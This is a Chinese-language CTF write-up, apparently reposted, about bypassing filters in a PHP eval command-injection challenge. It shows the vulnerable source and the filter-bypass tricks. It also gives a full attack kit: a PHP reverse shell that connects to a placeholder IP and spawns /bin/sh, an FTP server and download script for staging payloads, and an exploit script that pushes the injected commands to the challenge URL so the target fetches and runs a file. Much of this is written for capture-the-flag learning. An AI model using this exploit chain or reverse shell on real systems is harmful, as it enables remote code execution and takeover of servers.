有意思的命令注入

admin 2022年5月17日11:34:46评论15 views字数 1837阅读6分7秒阅读模式

0x00 意外的题目

不知道是啥比赛还是啥啥啥

朋友问我一个题目 http://l4w.pw/%F0%9F%A4%94/

0x01 看看代码

<?php
// Connect to localhost:8888 to get the flag
if($_GET['👉🏻'] == '👌🏻') die(phpinfo());
$_ = $_GET['⁣'];
highlight_file(__FILE__);

if(preg_match("/[\w]{4,}/is",$_) || preg_match("/\[|\"|'|\||\^|~|\./is",$_)) // mình thích thì mình block hoy 👯
     die("🙅"); // 4cm is too much
eval(substr($_,0,30));

没有参数什么鬼、目测是不可见字符、抓个包就出来了%e2%81%a3

三个\w绕过的黑科技,还限制30个字符,以及过滤一些符号

看了看phpinfo发现shell_exec没有ban

目测``命令执行

0x02 撸它

略过一堆失败、、、

发现黑科技

sh -c "ec\ho 1" 是可以成功的,emmmmmm,原理不懂

echo xxx > xxx 换行问题在sh中可以用\解决

ip 用 十进制形式

bash -i 反弹失败 用 php 来反弹

服务器没有curl和wget,我反正用 file_get_contents

然后就没有然后了

0x03 Flag

flag[happy_🌚_new_year]

0x04 脚本

ip2dec.sh

ip2dec () {
    local a b c d ip=$@
        IFS=. read -r a b c d <<< "$ip"
        printf '%d\n' "$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d))"
}

ftpd.py

pip install pyftpdlib

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user('a', 'a', '/root/', perm='elradfmw')
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(('0.0.0.0', 21), handler)
server.serve_forever()

ftpdown.sh

ftp -niv<<!
open [ip] [port]
user a a
mget x
bye
!

php_shell.php

<?php $sock=fsockopen("xxx.xxx.xxx.xxx",23333);exec("/bin/sh -i <&3 >&3 2>&3");

exp.php

<?php
error_reporting(0);

function fuck1($u){
    fuck("`{$u}`;");
}
function fuck($u){
    $u = urlencode($u);
    $a = file_get_contents("http://l4w.pw/%F0%9F%A4%94/?%e2%81%a3={$u}");
    $x = explode("</code>", $a);
    echo $x[1];
}
fuck1("ec\ho cd /tmp >/tmp/0");
fuck1("ec\ho ftp \\\\\\ >>/tmp/0");
fuck1("ec\ho -niv\\<\\<! >>/tmp/0");
fuck1("ec\ho o\\pen \\\\\\ >>/tmp/0");
fuck1("ec\ho my\\\\\\ >>/tmp/0");
fuck1("ec\ho ip\\\\\\ >>/tmp/0");
fuck1("ec\ho ip\\\\\\ >>/tmp/0");
fuck1("ec\ho ip port >>/tmp/0");
fuck1("ec\ho u\\ser a a >>/tmp/0");
fuck1("ec\ho m\\get \\\\\\ >>/tmp/0");
fuck1("ec\ho x >>/tmp/0");
fuck1("ec\ho bye >>/tmp/0");
fuck1("ec\ho ! >>/tmp/0");
fuck1("php -f /tmp/x");
fuck1("rm /tmp/0");

FROM : virzz.com | Author:Virink

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日11:34:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   有意思的命令注入http://cn-sec.com/archives/1012951.html

发表评论

匿名网友 填写信息